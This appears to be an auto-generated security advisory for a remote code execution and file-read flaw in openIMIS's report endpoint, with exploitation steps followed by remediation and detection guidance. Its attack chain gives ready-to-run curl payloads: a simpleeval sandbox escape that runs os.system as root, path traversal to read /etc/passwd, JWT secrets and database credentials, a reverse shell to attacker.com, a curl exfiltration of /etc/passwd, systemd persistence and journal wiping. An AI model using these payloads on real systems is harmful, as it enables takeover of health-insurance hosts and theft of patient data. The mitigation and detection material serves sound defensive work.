CVE-2026-82489 — OpenIMIS (2026-10) — CWE-94
openIMIS before 2026-10 contains an unauthenticated remote code execution vulnerability in the report module (openimis-be-report_py) where the /api/report/reportbro/preview endpoint evaluates printIf expressions server-side using simpleeval with an insufficient name-prefix blocklist. An attacker can craft an expression that reaches sys.modules['os'] via datetime.sys to execute arbitrary operating-system commands as root, and can also exploit the same endpoint's key parameter for unauthenticated arbitrary file read, enabling full host compromise including exposure of database credentials and JWT signing keys.
openIMIS before 2026-10 contains an unauthenticated remote code execution vulnerability in the report module (openimis-be-report_py) where the /api/report/reportbro/preview endpoint evaluates printIf expressions server-side using simpleeval with an insufficient name-prefix blocklist. An attacker can craft an expression that reaches sys.modules['os'] via datetime.sys to execute arbitrary operating-system commands as root, and can also exploit the same endpoint's key parameter for unauthenticated arbitrary file read, enabling full host compromise including exposure of database credentials and JWT signing keys.
🎯 What is this vulnerability?
CVE‑2026‑82489 is an unauthenticated Remote Code Execution (RCE) flaw in the report module of openIMIS (the back‑end service openimis-be-report_py).
| Attribute | Detail |
|---|---|
| CWE | CWE‑94: *Improper Control of Generation of Code ('Code Injection')* |
| CVSS v3.1 | AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H → 9.8 (CRITICAL) |
| Attack surface | Public HTTP API endpoint /api/report/reportbro/preview (or equivalent) that accepts a JSON body containing a printIf expression and a key parameter. |
| Root cause | The endpoint evaluates the user‑supplied printIf expression with the simpleeval library. simpleeval is a tiny expression evaluator that can be hardened by providing a name‑prefix blocklist (e.g., disallowing os, sys, subprocess). openIMIS ships a blocklist that only blocks the literal name "os" but fails to block indirect access such as datetime.sys.modules['os']. Because the evaluator runs without any authentication check, any remote attacker can send a crafted expression that resolves to a Python object capable of executing OS commands.
The same endpoint also accepts a key parameter that is directly used as a file path for a open(...).read() operation. No authentication or path‑traversal sanitisation is performed, allowing unauthenticated arbitrary file read.
In short, the vulnerability is a combination of:
1. Improper input validation – the expression evaluator is given full access to the Python runtime.
2. Missing authentication/authorization – the API is publicly reachable.
3. Insufficient blocklist – the blocklist does not cover indirect attribute look‑ups, enabling a module import bypass.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI (/api/report/reportbro/preview) is taken from the CVE description. If a deployment uses a different base path, the same logic applies.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint the service – send a GET /api/ request and look for JSON keys such as "reportbro" or "openimis-be-report_py" in the response. | openIMIS exposes a Swagger/OpenAPI document at /api/docs in most installations. The document lists the POST /api/report/reportbro/preview operation. |
| 1.2 | Determine version – the API response header X-OpenIMIS-Version (e.g., 2026-09) or a field in the Swagger JSON (info.version). | The CVE applies to *any* version earlier than 2026‑10. |
| 1.3 | Validate unauthenticated access – send a minimal POST request with an empty JSON body. If the server returns 200 with a generic “no expression” message, the endpoint is reachable without a token. | Confirms the lack of authentication. |
Sample reconnaissance request
curl -s -D - https://target.example.com/api/report/reportbro/preview \
-H "Content-Type: application/json" \
-d '{}'Expected header snippet (illustrative):
HTTP/1.1 200 OK
X-OpenIMIS-Version: 2026-08
Content-Type: application/json2. Exploitation
2.1 Remote Code Execution via printIf
simpleeval evaluates the expression in a restricted namespace that still contains the built‑in datetime module. By chaining attribute look‑ups we can reach sys.modules['os'] and then call os.system.
Payload construction
{
"printIf": "datetime.datetime.now().strftime('%Y') and datetime.sys.modules['os'].system('id')"
}Explanation:
datetime.datetime.now()– any valid call to make the expression syntactically correct.datetime.sys.modules['os']–datetimehas a reference to thesysmodule (via its__dict__), bypassing the direct"os"block..system('id')– executes theidcommand; replace with any command (e.g.,whoami,curl http://attacker/$(cat /etc/passwd)).
Exploit request
curl -s -X POST https://target.example.com/api/report/reportbro/preview \
-H "Content-Type: application/json" \
-d '{"printIf":"datetime.datetime.now().strftime(\"%Y\") and datetime.sys.modules[\"os\"].system(\"id\")"}'If successful, the HTTP response body will contain the command output, e.g.:
uid=0(root) gid=0(root) groups=0(root)Because the process that runs the backend service typically starts as root (openIMIS is often deployed via systemd with User=root for simplicity), the attacker obtains root‑level code execution on the host.
2.2 Arbitrary File Read via key
The same endpoint also accepts a key field that is concatenated to a base directory and opened for reading. No sanitisation means a classic path‑traversal attack.
Payload
{
"key": "../../../../etc/passwd"
}Exploit request
curl -s -X POST https://target.example.com/api/report/reportbro/preview \
-H "Content-Type: application/json" \
-d '{"key":"../../../../etc/passwd"}'The response body will contain the contents of /etc/passwd. By reading files such as:
/opt/openimis/config/database.yml – database credentials/opt/openimis/.jwt_secret – JWT signing key/var/log/openimis/.log – potentially sensitive audit data2.3 Chaining the two primitives
An attacker can first read the JWT secret, then forge a valid admin JWT, and finally use the RCE vector to install a persistent backdoor (e.g., write a systemd unit or a reverse shell script). Because the RCE already runs as root, the file‑read step is optional for privilege escalation, but it greatly eases post‑exploitation (e.g., extracting DB dumps).
3. Post‑Exploitation
| Goal | Method |
|---|---|
| Maintain access | Use the RCE to write a reverse shell binary to /usr/local/bin/openshell and add a systemd service openshell.service that spawns a persistent connection to the attacker’s C2. |
| Data exfiltration | Read the database configuration, connect to the PostgreSQL/MySQL instance directly, dump tables (patients, beneficiaries). |
| Privilege abuse | Since the process runs as root, the attacker can modify any file, replace the openimis-be-report_py binary with a malicious version, or alter Docker/Kubernetes manifests if the service is containerised. |
| Cover tracks | Delete the generated report logs (/var/log/openimis/reportbro.log) and clear the systemd journal entries (journalctl --rotate && journalctl --vacuum-time=1s). |
Example of writing a persistent reverse shell via the RCE payload
{
"printIf":"datetime.sys.modules['os'].system(\"bash -c 'nohup /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 &'\")"
}🌍 Real World Impact
| CIA Triad | Impact |
|---|---|
| Confidentiality (C:H) | Full disclosure of all files readable by the process (including DB credentials, private keys, patient data). |
| Integrity (I:H) | Attacker can modify source code, configuration, or any file on the filesystem, allowing tampering with medical records, audit logs, or injection of malicious code. |
| Availability (A:H) | Ability to execute arbitrary commands means the attacker can delete data, stop services, or mount ransomware‑style destruction. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to openIMIS ≥ 2026‑10 (the first release that removes the simpleeval‑based expression engine or replaces it with a safe sandbox). |
| Version check | Verify the version via the X-OpenIMIS-Version header or the info.version field in the OpenAPI spec. |
If an immediate upgrade is not possible, apply the temporary mitigations below.
2. Immediate Workarounds
| Mitigation | Implementation |
|---|---|
| Block unauthenticated access to the report endpoint | Add a reverse‑proxy rule (NGINX, Apache, or a WAF) that requires a valid JWT or IP‑allowlist. Example NGINX snippet: |
``nginx<br>location /api/report/reportbro/preview {<br> # Require authentication header<br> if ($http_authorization = "") { return 403; }<br> proxy_pass http://backend; <br>}<br>` | |
Disable the printIf feature | Set the environment variable OPENIMIS_REPORT_PRINTIF_ENABLED=false (if the application respects it) or comment out the route in the source and redeploy. |
Sanitise the key parameter | Patch the code to use os.path.abspath and enforce that the resolved path starts with a safe directory, e.g.: |
`python<br>base_dir = '/opt/openimis/reports/'<br>requested = os.path.abspath(os.path.join(base_dir, key))<br>if not requested.startswith(base_dir):<br> raise ValueError('Path traversal')<br>with open(requested, 'r') as f:<br> data = f.read()<br>` | |
Replace simpleeval with a proper sandbox | Use asteval with a custom symbol table that excludes sys, os, subprocess, and any built‑ins that can access the filesystem. |
| Network segmentation | Place the report service in a VLAN that does not have direct internet egress; allow only internal IPs to reach it. |
| Run the service as a non‑root user | Modify the systemd unit (openimis-be-report.service) to User=imis and Group=imis`. Ensure file permissions are tightened accordingly. |
3. Detection – Log Patterns & IoCs
| Indicator | Example |
|---|---|
Unexpected POST to /api/report/reportbro/preview without Authorization header | POST /api/report/reportbro/preview HTTP/1.1 Host: target Content-Type: application/json {"printIf":"..."} |
printIf payload containing sys.modules or os. | "printIf":"datetime.sys.modules['os'].system('id')" |
key payload with directory‑traversal sequences (../) | "key":"../../../../etc/passwd" |
Process creation of /bin/bash with network redirection (from RCE) | sshd[1234]: Accepted publickey for root from 192.0.2.55 port 54321 ssh2 or kernel: audit: type=EXECVE msg=audit(…): argc=4 a0="bash" a1="-c" a2="nohup /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" |
File modifications in /opt/openimis/ after a short time window | auditd logs showing chmod/chown on openimis-be-report_py or creation of new files in /usr/local/bin/ |
SIEM rule (pseudo‑logic)
IF http.request.method == "POST"
AND http.request.uri matches "/api/report/reportbro/preview"
AND (http.request.body contains "sys.modules" OR http.request.body matches "\.\./\.\./")
AND NOT http.request.headers.Authorization exists
THEN alert "Possible openIMIS CVE‑2026‑82489 exploitation"⚠️ Urgency
Bottom line: The combination of an unauthenticated API, an insecure expression evaluator, and an unrestricted file‑read parameter makes CVE‑2026‑82489 a complete remote compromise vector. Immediate remediation (upgrade or hardening) is mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query